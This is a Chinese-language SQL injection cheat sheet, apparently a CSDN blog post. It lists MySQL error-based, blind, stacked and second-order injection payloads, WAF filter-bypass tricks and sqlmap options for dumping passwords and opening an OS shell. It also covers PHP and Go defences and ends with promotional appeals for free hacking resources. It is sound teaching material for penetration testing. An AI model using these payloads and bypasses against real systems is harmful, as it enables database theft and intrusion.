漏洞介绍
(1)注入条件
1. `用户能控制输入且输入的内容被带到数据库去执行`
(2)注入原理
1. `对用户输入过滤不严谨。`
(3)注入本质
1. `违背了“数据与代码分离”的原则`
(4)可能存在注入的SQL语句地方
-
select语句
输入payload,最后加注释符即可。
-
insert语句
将参数值补全,然后加注释符。
-
update语句
注意update语句测试时,别更新整个库。最好使where或者if的判断条件的结果为0
-
delete语句
同update,测试时需要注意让条件为假。
注入类型
报错注入
相关函数
- UpdateX ML(X ML_target, xpath_expr, new_X ML) 更新X ML文档函数,当xpath_expr参数错误时会报错并显示参数信息。xpath_expr可以用SQL语句替代,在配合concat函数可以显示很多有用信息。
使用方法:
1. `select updateX ML(1,concat(0x7e,({查询语句}}),0x7e),1)`
eg.
1. `select updateX ML(1,concat(0x7e,(select datab ase()),0x7e),1)`
- ExtractValue(X ML_frag, xpath_expr) 对X ML文档进行查询的函数,和updateX ML函数类似,可以在xpath_expr中执行SQL语句。
使用方法:
1. `select extractvalue(1,concat(0x7e,({查询语句}),0x7e));`
eg.
1. `select extractvalue(1,concat(0x7e,(select datab ase()),0x7e));`
- floor(x) 向下取整函数
使用方法:
1. `select count(*)from test groupby concat(({查询语句}),floor(rand(14)*2));`
eg.
1. `select count(*)from test groupby concat((select version()),floor(rand(14)*2));`
- exp(x)函数 该函数为e的指数函数。函数或者查询语句执行成功会返回0.0取反则为一个很大的数,exp(大数)会造成溢出。在有些版本使用此作为报错注入不成功。
时间盲注
- 判断函数
(1)if函数:
if({表达式},{true执行的语句},{false执行的语句})
payload:
1. `if(({判断语句}),sleep(3),1)`
eg.
1. `select*from test.test where price="3.49"andif((length(user())>1)),sleep(1),1)`
注意if语句既可放在select之后,又可放在where或者and之后.
(2)case语句
1. `casewhen(expr1)then(expe2)else(expr3)end;`
payload:
1. `selectcasewhen{判断语句}then sleep(3)else1end;`
eg。
1. `selectcasewhen(length(user())>1)then sleep(3)else1end;`
- 其他相关函数
(1)sleep函数:sleep(x) 延时x秒
(2)比较操作符
1. `>`
2. `<`
3. `=`
4. `like`
5. `regexp`
6. `notin`
布尔盲注
布尔盲注的目标是根据响应内容的长度或者响应的关键字不同来判断SQL语句是否正确.
注入方法同时间盲注,也是用判断函数.
堆叠注入
SQL语句是以分号结尾的,有些SQL API能执行多句SQL指令,所以可以通过闭合和拼接的方式达到执行指定payload的目的.
如SQL语句为:
1. `select*from users where id ='id' limit 0,1;`
当id为:
1. `1';insert into users value(1,'user','pass')#`
那么SQL语句变为:
1. `select*from users where id ='1';insert into users value(1,'user','pass')#' limit 0,1;`
达到插入数据的目的.
二次注入
攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
(1)存入数据库:
1. `$username=$_GET['username'];`
2. `$password=$_GET['password'];`
3. `$result=mysqli_query($con,"insert into users(username,password) values('".addslashes($username)."','".md5($password)."')");`
(2)查询数据库:
1. `$result2=mysqli_query($con,"select*from information where username='".$username."'");`
2. `$row2=mysqli_fetch_array($result2);`
可以通过username参数嵌入恶意代码。
SQL注入攻击
攻击步骤
(1)测试是否存在SQL注入、判断是什么类型的注入
(2)根据注入类型,构造合适的payload,检测是否有过滤函数。如果有过滤函数,在下面构造payload时如果需要用到的字符被过滤,则采取对应的替代方法。
(3)构造payload,获取表长度、表名
(4)构造payload,获取列长度、列名
(5)获取数据。
进阶:
判断当前用户权限,获取所有的数据库,写shell。
绕过方法
1.关键词绕过:
- 注释绕过
1. `U/**/Nion`
- 内联注释
1. `/!*Union*/`
-
双写绕过
-
大小写绕过。
2.比较符号绕过
使用其他比较符号或函数
1. `=`
2. `like`
3. `rlike`
4. `regexp`
5. `<`
6. `>`
7. `between a and b`
8. `greatest()`
9. `least()`
3.逗号绕过
逗号会用到的地方:substr(),mid(),limit,if(,)语句
-
如果是盲注可以使用case语句。
-
对于substr和mid函数可以用from (index) for (len).
eg.
1. `select substr("abc"from1for2)`
- 对于limit可以使用offset来绕过
1. `select*from table_name limit 1 offset 0`
等价于
1. `select*from table_name limit 0,1`
4.注释绕过
1. `#`
2. `%23`
3. `--空格`
4. `/**/`
5.空格绕过
1. `%a0`
2. `%0a`
3. `%20`
4. `+`
5. `括号绕过 and() //括号两端可以不需空格`
6. `注释绕过and/**/1`
6.引号绕过
十六进制绕过:会使用到引号的地方一般是where子句中,可以用0xxxxx代替 “” 或’’
通用关键函数
-
mid(str,pos,len) 截取子字符串,从pos位置开始长度为len的子字符串。注意mysql位置是从1开始。
-
substr(str,pos,len) 截取字符串,同mid
-
ord()、ascii() 返回字符的ascii码值
-
CONCAT(str1,str2,…) 连接函数,将参数中按字符串连接起来。
-
GROUP_CONCAT(expr) 组连接函数,将表达式中的组结果连接起来。
-
LENGTH(str) 获取字符串长度
一些SQL注入技巧
%5c爆库路径(\)
SQL注入可能出现的点
-
get参数
-
post参数(表单参数)
-
cookie中参数
-
X-Forwarded-For
-
User-Agent
-
Refer
SQL注入危害
-
获取用户名密码。
-
脱库、删库、改库
-
写木马
SQL注入防御方法:
1. `1、预编译`
2. `2、使用安全的存储过程(先将SQL语句定义在数据库中),同时避免使用动态的SQL语句。`
3. `3、检查数据类型`
4. `4、使用安全函数`
PHP防御
注意防御需要多种防御方式结合能达到最佳效果。
(1)使用转义字符串mysql_real_escape_string
eg.
1. `$city = $mysqli->escape_string($city);`
(2)使用mysqli的prepare语句
eg.
1. `$uname = $_POST["username"];`
2. `$stmt = $mysqli->prepare("INSERT INTO table (column) VALUES (?)");`
3. `$stmt->bind_param("s", $uname); // "s" means the datab ase expects a string`
4. `$stmt->execute();`
(3)使用PDO
eg.
1. `$stmt = $pdo->prepare('SELECT * FROM USERS WHERE name = :name');`
2. `$stmt->execute(array('name'=> $name));`
(4)添加过滤函数
不推荐使用此方法,因为可能存在过滤不全的情况。
eg.
1. `$farr = array(`
2. `"/<(\\/?)(s cript|i?f rame|style|html|body|title|l ink|m eta|o bject|\\?|\\%)([^>]*?)>/isU",`
3. `"/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/isU",`
4. `"/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dump/is"`
5. `); //既过滤XSS,又过滤SQL注入`
6. `$str = preg_replace($farr,'',$str);`
(5)PHP选项开启
magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤
magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤
Go防御
datb ase/sql 使用参数化查询
1. `db.QueryRow("SELECT * FROM userinfo WHERE username =? AND password =?", sename, partname)`
采用的是预编译的方法,QueryRow()方法会对传入参数进行强制类型检查和安全检查。
SQLMAP
(1)判断是否存在SQL注入
参数:
1. `-r [file] //burp包的文本`
2. `--data //post数据`
3. `--u [url] //指定URL`
4. `--cookie //cookie`
5. `--headers //设置请求头`
6. `--forms //自动填充表单`
7. `--referer //设置referer`
8. `--proxy //代理地址`
9. `--random-agent //使用随机UA头`
10. `--referer //指定referer头`
11. `--risk 3--leve3 //cookie,http请求头,参数都扫描`
1. `-p "参数" //指定测试参数,可以为多个,用逗号隔开即可。`
2. `--skip "参数" /指定不测试的参数,可以为多个,用逗号隔开即可。`
1. `--threads [线程数量] //最大并发线程数`
1. `--technique [技术] //指定检测的技术`
2. `option:`
3. `B:Boolean-b ased blind SQL injection(布尔型注入)`
4. `E:Error-b ased SQL injection(报错型注入)`
5. `U: UNION query SQL injection(可联合查询注入)`
6. `S:Stacked queries SQL injection(可多语句查询注入)`
7. `T:Time-b ased blind SQL injection(基于时间延迟注入)`
1. `--time-sec [时间] //设置时间盲注的时间`
1. `--prefix //给payload加入前缀或者后缀`
2. `--suffix`
1. `--second-order [指定页面] //盲注时判断响应的页面,不指定默认为当前页面。`
1. `--tamper [绕WAF脚本]`
(2)判断权限,猜表猜库
1. `--current-user 获取当前用户`
2. `--current-db 获取当前数据库名称`
3. `--is-dba 判断当前用户是否为管理员。`
4. `--users 列出所有用户`
5. `--passwords 列出所有用户的密码表`
6. `--banner 返回数据库版本号`
7. `--dbms 探测数据库类型`
8. `--os 探测操作系统类型`
9. `--os-shell 写shell`
—code=CODE HTTP code to match when query is e valuated to True
用HTTP的响应码来判断注入判断语句是正确的,例如,响应200的时候为真,响应401的时候为假,可以添加参数—code=200
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取